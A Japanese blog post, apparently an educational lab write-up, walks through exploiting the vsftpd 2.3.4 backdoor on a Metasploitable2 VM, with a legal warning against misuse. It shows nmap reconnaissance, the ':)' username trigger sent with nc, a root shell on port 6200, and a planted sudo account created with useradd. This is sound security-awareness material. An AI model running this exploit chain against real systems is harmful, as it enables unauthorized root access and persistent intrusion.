はじめに
今日は脆弱性を利用するとこんなことができてしまうから気をつけましょうというのを実際の攻撃をしていきながらお見せしようと思います。
※注意
ここで書かれていることを第三者に対して実行した場合不正アクセス禁止法によって罰せられる可能性がある為くれぐれも実行しないようにご注意ください。
私も仮想環境の中で攻撃される用のマシンに対して実行しました。
利用ツール
Metasploitable2(マシンA)
セキュリティのお勉強用の脆弱性がたくさん用意されたマシン
kali Linux Rolling (2024.1) x64(マシンB)
攻撃用の仮想マシン
nmap
ポートスキャン用ツール
主に上記を使いました。
なお、攻撃を実行するにあたってハッキングラボの作り方(IPUSIRON著)を参考にしております。
また、今回は脆弱性があるとどんなことが行われるかを紹介をするのみにしようと思うので初期設定の詳しいやり方は割愛しようと思います。
それでは下記に簡単に手順をまとめました。
手順
※前提として各マシンでの通信疎通は事前に確認できているものとします。
1.マシンAにログイン
ログイン後ifconfigコマンドでマシンAのIPアドレスを確認しておく。
今回は10.0.0.102とします。
2.マシンBにログイン
ログイン後下記コマンドを入力
┌──(root㉿kali)-[~]
└─# nmap -sP 10.0.0.0/24
すると
┌──(root㉿kali)-[~]
└─# nmap -sP 10.0.0.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-04 10:49 JST
Nmap scan report for 10.0.0.1
Host is up (0.0033s latency).
MAC Address: 0A:00:27:00:00:1A (Unknown)
Nmap scan report for 10.0.0.102
Host is up (0.0015s latency).
MAC Address: 08:00:27:AE:5A:F4 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.0.100
Host is up (0.0021s latency).
MAC Address: 08:00:27:5D:47:23 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.0.101
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.98 seconds
上記の表示が出ます。
ここからは10.0.0.0/24のアドレスを持つマシンの中でどのマシンが稼働しているのかということがわかります。
256個アドレスがある内の4個のアドレスが動いていて10.0.0.102のマシンが稼働していることがわかりました
3.マシンBで偵察
下記コマンドを入力
┌──(root㉿kali)-[~]
└─# nmap -sV -O -p- 10.0.0.102
すると
┌──(root㉿kali)-[~]
└─# nmap -sV -O -p- 10.0.0.102
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-04 10:53 JST
Nmap scan report for 10.0.0.102
Host is up (0.0011s latency).
Not shown: 65505 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open shell Netkit rshd
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open rpcbind
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
6697/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
48246/tcp open rpcbind
50384/tcp open rpcbind
51446/tcp open unknown
52937/tcp open rpcbind
MAC Address: 08:00:27:AE:5A:F4 (Oracle VirtualBox virtual NIC)
OS fingerprint not ideal because: Didn't receive UDP response. Please try again with -sSU
No OS matches for host
Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 185.91 seconds
ここから何番ポートが開いているのかがわかります。
ポートとはサービスを利用するために双方で決められた出入り口のようなものです。
メールでは何番、Webサイトの閲覧では何番という風に番号が決められています。
openという値はそのポートが今開いていますという意味です。
21番ポートが開いていますね。Versionはvsftpd2.3.4と書いてあります。
4.調査
vsftpd2.3.4に脆弱性があるかもしれないので調べてみます。
脆弱性は CVEDetailsなどで調べることができます
調べると
vsftpd 2.3.4 downloaded between 20110630 and 20110703 contains a backdoor which opens a shell on port 6200/tcp.
と書かれてあります。
どうやら2011/06/30から同年07/03にダウンロードされたものには6200番ポートを開くバックドアの脆弱性があるみたいです。
2024年現在既に修正済みです。
マシンAでは修正されていないのでこの脆弱性を利用することにします。
5.攻撃実行
マシンAの6200番ポートを開けるために
マシンBからマシンAへアクセスします
┌──(root㉿kali)-[~]
└─# nc 10.0.0.102 21
そのあと
┌──(root㉿kali)-[~]
└─# nc 10.0.0.102 21
220 (vsFTPd 2.3.4)
USER yyy:) 名前は適当でいいですが必ず:)を含むようにしてください
331 Please specify the password.
PASS a ここは適当でいいです
PASSを入力した時点でマシンAの6200番ポートが開きます。
別のターミナルを開いて下記コマンドを入力します。
┌──(root㉿kali)-[~]
└─# nc -nv 10.0.0.102 6200
(UNKNOWN) [10.0.0.102] 6200 (?) open
無事、マシンAの6200番ポートにアクセスができました。
現在の状況はマシンAのシェルを開いている状況です。
上記コマンドに続いて自分が誰なのか確認してみます。
┌──(root㉿kali)-[~]
└─# nc -nv 10.0.0.102 6200
(UNKNOWN) [10.0.0.102] 6200 (?) open
whoami
root
root権限での操作に成功しています。
管理者権限があるので何でもできてしまいます
新しいユーザの追加や削除などです
┌──(root㉿kali)-[~]
└─# nc -nv 10.0.0.102 6200
(UNKNOWN) [10.0.0.102] 6200 (?) open
whoami
root
useradd -m newuser -G sudo -s /bin/bash; passwd newuser
Enter new UNIX password: SVChost
Retype new UNIX password: SVChost
passwd: password updated successfully
これでマシンAに自分のアカウントを作ることができました。
6.検証
それではアカウントが作れているかどうかマシンAで確認します。
msfadmin@metasploitable:$
less /etc/passwd
(略)
newuser:x:1004:1004::/home/newuser:/bin/bash
確認ができました。
これでアカウントが削除されない限り自由にログインできる環境ができあがってしまいました。
怖いですね。
7.まとめ
ここまで脆弱性があった場合にどういった危険があるのかについて偵察から実行までを行ってみました。
今回はユーザの追加だけでしたが他にも勝手にメールを送ったりマルウェアをインストールさせたりたった一つの小さな抜け穴があるだけで本当に色々なことができてしまいます。
今回の記事で脆弱性があったときの怖さについて少しでもご理解いただけたら幸いです。
もちろん今回のマシンAは無防備なマシンなのでここまで簡単にハッキングはできません。
ですがハッカーも被害を拡大させるために血のにじむような努力と研鑽をしています。
毎日のように新しい脆弱性が発見されて修正しての繰り返しです。
この努力と知識だけは見習いたいです。
あとハイスペックPC買う財力もうらやましい
以上です。ここまで読んでいただきありがとうございました。
ハイスペックPC買う財力うらやましい
明日は海外のハッキング情報交換サイトにある脆弱性情報を翻訳してみて間に合えば共有しようと思います。